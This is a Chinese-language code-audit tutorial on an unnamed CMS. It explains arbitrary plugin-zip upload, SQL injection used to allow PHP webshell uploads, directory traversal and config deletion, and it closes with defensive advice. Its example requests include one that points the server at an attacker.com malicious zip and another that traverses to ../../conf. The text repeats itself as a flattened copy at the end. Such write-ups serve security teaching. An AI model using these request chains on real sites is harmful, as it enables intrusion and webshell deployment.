某cms代码审计引发的思考
字数 1451 2025-08-25 22:58:40

CMS代码审计与漏洞利用实战教学

0x01 前言

本教学文档基于对某CMS系统的深入代码审计,揭示了多种安全漏洞及其利用方式。该CMS存在多个高危漏洞,包括任意文件上传、SQL注入、目录穿越等,这些漏洞的组合利用可以实现从普通用户到系统完全控制权的提升。

0x02 漏洞分析

1. 插件更新功能导致的任意文件上传

漏洞位置: /A/c/PluginsController.php 中的 update 函数

漏洞描述:

  • 攻击者可以通过控制download_url参数,从远程服务器下载并解压恶意压缩包
  • 解压后的文件会被放置在/A/exts/目录下

利用步骤:

  1. 构造恶意POST请求:
POST /admin.php/Plugins/update.html HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest

action=start-download&filepath=msgphone&download_url=http://attacker.com/malicious.zip
  1. 服务器会下载并解压恶意ZIP文件到/A/exts/目录

代码分析:

  • frparam函数未对输入进行过滤,直接从data数组取数据
  • 远程URL被直接用于下载和解压操作

2. SQL注入漏洞

漏洞位置: /Home/c/HomeController.php 中的相关函数

漏洞描述:

  • 用户输入直接拼接到SQL查询中
  • 可导致报错型SQL注入

利用方式:

  1. 构造恶意请求触发SQL报错
  2. 通过错误信息获取数据库结构

代码调用链:

  1. 用户输入 → find函数 → findAll函数
  2. findAll函数拼接SQL语句并执行
  3. 错误信息直接返回给用户

3. 通过SQL注入实现文件上传绕过

利用链:

  1. 利用SQL注入修改数据库中的fileType字段,添加php等危险扩展名
  2. 清空缓存使更改生效
  3. 上传PHP webshell

关键代码:

  • 上传类型检查位于/A/c/CommonController.phpuploads函数
  • webconf获取允许的文件类型
  • webConf函数调用getCache/cache/data/读取配置

4. 后台任意文件夹压缩下载

漏洞位置: /A/c/PluginsController.php中的output函数

漏洞描述:

  • 未过滤filepath参数导致目录穿越
  • 可打包下载任意目录

利用方式:

GET /admin.php/Plugins/output?filepath=../../conf HTTP/1.1
Host: target.com

5. 后台配置文件删除

漏洞位置: /A/c/PluginsController.php中的action_do函数(483-494行)

漏洞描述:

  • 未对文件路径进行限制
  • 可删除包含config.php的任意目录

利用方式:

  1. 构造请求删除Conf目录
  2. 导致网站无法正常运行

0x03 漏洞利用技巧

  1. 代码审计工具:

    • 使用PHPStorm + Xdebug进行动态调试
    • 监控SQL日志分析注入点
  2. 上传绕过思路:

    • 关注CMS的在线升级/插件下载功能
    • 替换远程下载URL为攻击者控制的恶意包
  3. SQL注入利用:

    • 通过修改关键配置实现权限提升
    • 结合缓存机制使修改立即生效

0x04 防御建议

  1. 输入验证:

    • 对所有用户输入进行严格过滤
    • 实现参数化查询防止SQL注入
  2. 文件操作安全:

    • 限制文件下载/解压的目标目录
    • 实现安全的路径拼接
  3. 权限控制:

    • 后台操作需要二次验证
    • 关键操作记录详细日志
  4. 配置安全:

    • 配置文件设置适当权限
    • 避免数据库存储可执行配置

0x05 总结

本案例展示了CMS系统中常见的多种漏洞类型及其组合利用方式。通过代码审计,我们发现从简单的参数未过滤到复杂的权限提升链条,都可能造成严重的安全问题。安全开发应遵循最小权限原则,对所有用户输入保持怀疑态度,并实现多层防御机制。

CMS代码审计与漏洞利用实战教学 0x01 前言 本教学文档基于对某CMS系统的深入代码审计,揭示了多种安全漏洞及其利用方式。该CMS存在多个高危漏洞,包括任意文件上传、SQL注入、目录穿越等,这些漏洞的组合利用可以实现从普通用户到系统完全控制权的提升。 0x02 漏洞分析 1. 插件更新功能导致的任意文件上传 漏洞位置 : /A/c/PluginsController.php 中的 update 函数 漏洞描述 : 攻击者可以通过控制 download_url 参数,从远程服务器下载并解压恶意压缩包 解压后的文件会被放置在 /A/exts/ 目录下 利用步骤 : 构造恶意POST请求: 服务器会下载并解压恶意ZIP文件到 /A/exts/ 目录 代码分析 : frparam 函数未对输入进行过滤,直接从data数组取数据 远程URL被直接用于下载和解压操作 2. SQL注入漏洞 漏洞位置 : /Home/c/HomeController.php 中的相关函数 漏洞描述 : 用户输入直接拼接到SQL查询中 可导致报错型SQL注入 利用方式 : 构造恶意请求触发SQL报错 通过错误信息获取数据库结构 代码调用链 : 用户输入 → find 函数 → findAll 函数 findAll 函数拼接SQL语句并执行 错误信息直接返回给用户 3. 通过SQL注入实现文件上传绕过 利用链 : 利用SQL注入修改数据库中的 fileType 字段,添加php等危险扩展名 清空缓存使更改生效 上传PHP webshell 关键代码 : 上传类型检查位于 /A/c/CommonController.php 的 uploads 函数 从 webconf 获取允许的文件类型 webConf 函数调用 getCache 从 /cache/data/ 读取配置 4. 后台任意文件夹压缩下载 漏洞位置 : /A/c/PluginsController.php 中的 output 函数 漏洞描述 : 未过滤 filepath 参数导致目录穿越 可打包下载任意目录 利用方式 : 5. 后台配置文件删除 漏洞位置 : /A/c/PluginsController.php 中的 action_do 函数(483-494行) 漏洞描述 : 未对文件路径进行限制 可删除包含 config.php 的任意目录 利用方式 : 构造请求删除Conf目录 导致网站无法正常运行 0x03 漏洞利用技巧 代码审计工具 : 使用PHPStorm + Xdebug进行动态调试 监控SQL日志分析注入点 上传绕过思路 : 关注CMS的在线升级/插件下载功能 替换远程下载URL为攻击者控制的恶意包 SQL注入利用 : 通过修改关键配置实现权限提升 结合缓存机制使修改立即生效 0x04 防御建议 输入验证 : 对所有用户输入进行严格过滤 实现参数化查询防止SQL注入 文件操作安全 : 限制文件下载/解压的目标目录 实现安全的路径拼接 权限控制 : 后台操作需要二次验证 关键操作记录详细日志 配置安全 : 配置文件设置适当权限 避免数据库存储可执行配置 0x05 总结 本案例展示了CMS系统中常见的多种漏洞类型及其组合利用方式。通过代码审计,我们发现从简单的参数未过滤到复杂的权限提升链条,都可能造成严重的安全问题。安全开发应遵循最小权限原则,对所有用户输入保持怀疑态度,并实现多层防御机制。